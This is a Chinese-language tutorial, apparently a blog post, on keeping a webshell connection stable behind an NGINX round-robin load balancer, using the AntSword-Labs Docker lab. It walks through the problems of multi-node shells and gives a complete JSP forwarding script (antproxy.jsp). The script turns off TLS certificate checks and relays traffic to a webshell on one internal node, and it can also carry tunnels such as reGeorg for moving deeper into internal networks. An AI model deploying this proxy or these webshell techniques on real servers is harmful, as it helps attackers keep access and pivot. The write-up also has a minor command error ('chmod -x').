负载均衡下的 WebShell 连接

一.NGINX负载均衡原理

1.概述

负载均衡是一种廉价的扩容方案,通过将负载分发给多个服务器或计算节点,实现资源的合理利用、提高系统性能和可靠性。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式和反向代理方式等。
本文主要关注不能直接访问到运行具体业务的某个节点的情况,即反向代理方式。在反向代理方式中,客户端发起请求时,将URL按照IP格式填写,并将域名加在Host头部。接下来,请求首先到达负载均衡器(也称为反向代理服务器),负载均衡器根据一定的策略选择一个后端服务器,然后将请求转发给该服务器。后端服务器处理请求并将响应返回给负载均衡器,最后负载均衡器将响应转发给客户端。
在反向代理方式中,负载均衡器扮演着转发请求和响应的角色。它可以使用不同的算法来选择后端服务器,例如轮询、最小连接数、最短响应时间等。此外,负载均衡器还会监控后端服务器的负载情况,如果某个服务器负载过高或发生故障,负载均衡器会自动将请求转发到其他可用的服务器,以保持系统的性能和可靠性。

2.NGINX反向代理策略

反向代理方式其中比较流行的方式是用NGINX来做负载均衡。我们先简单的介绍一下NGINX支持的几种策略:

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair (第三方)根据响应时间分配
url_hash (第三方)根据URL分配

上述的几种策略中 ip_hash和url_hash 这种能固定访问到某个节点的情况和单机的区别不是很大这里我们也做不讨论。所以实验时我会以默认的「轮询」方式来做演示。

二.环境搭建

1.AntSword-Labs项目部署

通过一级标题1我们已经对负载均衡有了大致的了解,下面我们来正式的搭建实验环境首先我们需要使用Github上的一个开源项目AntSword-Labs(蚁剑实验室)下载连接如下:

https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1

接着把这个项目部署到Linux的环境下,我使用的是Ubuntu具体的版本如下:

$ uname -a
Linux root-virtual-machine 5.15.0-87-generic #97~20.04.1-Ubuntu SMP Thu Oct 5 08:25:28 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

2.Docker安装

这个项目中只配置了两个节点(真实环境下可能会有更多的服务器),运行之后,可以看到这个项目里有3个容器,至于什么是容器,就需要去了解docker容器相关的知识,这里我们只需要将实验环境搭建出来即可所以不去深究,那么下面我么就需要安装docker来复现这个项目,安装命令如下:

$ apt-get install docker -y

安装完成后要注意一点我们需要用docker compose这样的一个命令,来确定安装的docker是否有这个工具,如果没有就会显示如下:

root@root-virtual-machine:~# docker compose
docker: 'compose' is not a docker command.
See 'docker --help'

如果没有显示就说明有这个工具,因为版本比较高的docker他安装后自带docker compose这样的工具,而一些版本比较低的docker他是没有这个工具的,至于为什么要强调这一点是因为如果没有docker compose是没有办法拉取相互关联的服务组件的,在docker中有一个Dockerfile文件,他是用来构建自定义镜像的文件但是他一次只能拉取一个镜像,那么来看一下docker-compose.yml文件的信息:

version: '2'
services:
  lbsnode1:
    build:
      context: ./tomcat-8-jre8
      dockerfile: Dockerfile
  lbsnode2:
    build:
      context: ./tomcat-8-jre8
      dockerfile: Dockerfile
  nginx:
    image: nginx:1.17
    depends_on:
      - lbsnode1
      - lbsnode2
    volumes:
      - ./nginx/default.conf:/etc/nginx/conf.d/default.conf
    ports:
      - "18080:80"

应该可以看出docker compose大概就是将两个tomcat和一个nginx连接在了一起,同时也显示了nginx的默认配置文件的路径,以及映射的端口号也可以了解。说了这么多,就是想说明docker compose这个工具很重要,因为大多数服务都需要和其他服务组件相互关联所以如果没有这个工具就需要自行去下载docker compose下载连接如下我们可以直接使用wget命令下载:

$ wget https://github.com/docker/compose/releases/download/v2.5.0/docker-compose-linux-x86_64

下载后可以重新命名,然后移动到/usr/bin目录下然后赋予执行权限就可以正常使用了:

$ mv docker-compose /usr/bin/
$ chmod -x /usr/bin/docker-compose

好了如果上述的安装都完成了,我们就可以去远端服务器拉取镜像了,那么首先需要进入到AntSword-Labs项目文件的如下路径敲如下命令:

$ cd ~/AntSword-Labs/loadbalance/loadbalance-jsp 
$ docker-compose up -d

拉取完成后,我就会发现负载均衡的环境已经搭建完成了:

$ docker ps -a
CONTAINER ID   IMAGE                      COMMAND                   CREATED        STATUS       PORTS                                     NAMES
54d9e40a82ba   nginx:1.17                 "nginx -g 'daemon of…"   2 hours ago    Up 2 hours   0.0.0.0:18080->80/tcp, :::18080->80/tcp   loadbalance-jsp-nginx-1
9d6432bb16ca   loadbalance-jsp_lbsnode2   "catalina.sh run"         47 hours ago   Up 2 hours   8080/tcp                                  loadbalance-jsp-lbsnode2-1
9a55aa7c0bf3   loadbalance-jsp_lbsnode1   "catalina.sh run"         47 hours ago   Up 2 hours   8080/tcp                                  loadbalance-jsp-lbsnode1-1

之后启动环境我么只需要写如下命令即可:

$ docker-compose up -d

然后这个项目整个架构是这个样子:

                          ┌─────────────┐
                          │             │
                   ┌──────►  LBSNode 1  │
┌─────────┐        │      │             │
│         │        │      └─────────────┘
│  Nginx  ├────────┤
│         │        │      ┌─────────────┐
└─────────┘        │      │             │
                   └──────►  LBSNode 2  │
                          │             │
                          └─────────────┘

Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是无法直接访问到的。我们只能通过 nginx 这台机器访问这也就是反向代理的负载均衡的环境。

3.webShell连接工具

在我们配置的环境中LBSNode1和LBSNode2均存在位置相同的Shell: ant.jsp,接下来我们需要使用AntSword(蚁剑)连接后门,下载地址如下:

https://github.com/AntSwordProject/AntSword-Loader

这里我们假定业务中存在RCE(远程命令执行)漏洞,上传了 WebShell 之后, 因为负载均衡的存在, 导致后续上传的工具、执行命令等操作出现不连续的情况,我们先按常规操作在蚁剑里添加WebShell具体配置如下:

Shell密码
http://搭建环境的主机IP地址:映射的端口号/ant.jspant

在这里插入图片描述
连接成功后进入链接就可以进行实验了:
在这里插入图片描述

三.负载均衡环境下WebShell遇到的问题

难点一:如何稳定WebShell连接?

我们需要在每一台节点的相同位置都上传相同内容的WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。下面我在node1上创建了一个hello.txt的文件然后我来访问他,效果如下:
在这里插入图片描述
在这里插入图片描述

难点二:如何固定主机去执行命令?

我们在执行命令时,无法知道下次的请求交给哪台机器去执行,我们执行 ip a 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。
在这里插入图片描述

难点三:在文件分片上传至两台节点后,由于负载均衡算法的不确定性,如何有效组合这些分片还原完整文件?

当我们需要上传一些工具时,问题出现了
在这里插入图片描述

我们本地的test.zip大小是12880, 由于antSword上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法。

难点四:在目标机器无法出外网的情况下,如何有效深入内网进行渗透工作?

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
如果说前面三个难点还可以忍一忍,那第四个难点就直接劝退了。这还怎么深入内网?

四.最终解决方案

在Web 层做一次 HTTP 流量转发

我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。
在这里插入图片描述
来参考下面这个场景下:
图片
我们一步一步来看这个图,我们的目的是:所有的数据包都能发[LBSNode 1]这台机器。
首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx,nginx 接到数据包之后,会有两种情况:
我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

1.创建antproxy.jsp脚本

参考代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.18.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

注意:
a) 修改转发地址,转向目标 Node的内网IP的目标脚本访问地址。
b) 不光是WebShell ,还可以改成 reGeorg 等脚本的访问地址。我们将 target 指向了 LBSNode1 的 ant.jsp

2.上传antproxy.jsp脚本

在这里插入图片描述

注意:
a) 不要使用上传功能!!!,前面的难点三已经说过上传功能会分片上传导致分散在不同 Node 上,如果antproxy.jsp代码分散到不同的node上就会导致脚本无法使用所以最为稳妥的方式就是直接新建文件然后将代码复制进去。
b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp,因为只有这样才能让所有的数据包都能全部到达目标主机上,所以我疯狂保存了很多次,保证每一台都上传了脚本

3. 修改 Shell 配置

将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变
在这里插入图片描述

4.测试执行命令, 查看 IP

在这里插入图片描述
可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了。
查看一下 Node1 上面的 tomcat 的日志, 可以看到收束的过程:
在这里插入图片描述
Node1 和 Node2 交叉着访问 Node1 的 /ant.jsp 文件,符合 nginx 此时的 LBS 策略。

方案总结

1.优点

  • 低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了
  • 流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。
  • 适配更多工具

2.缺点

  • 该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了(敲黑板:加固方案快记下来)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值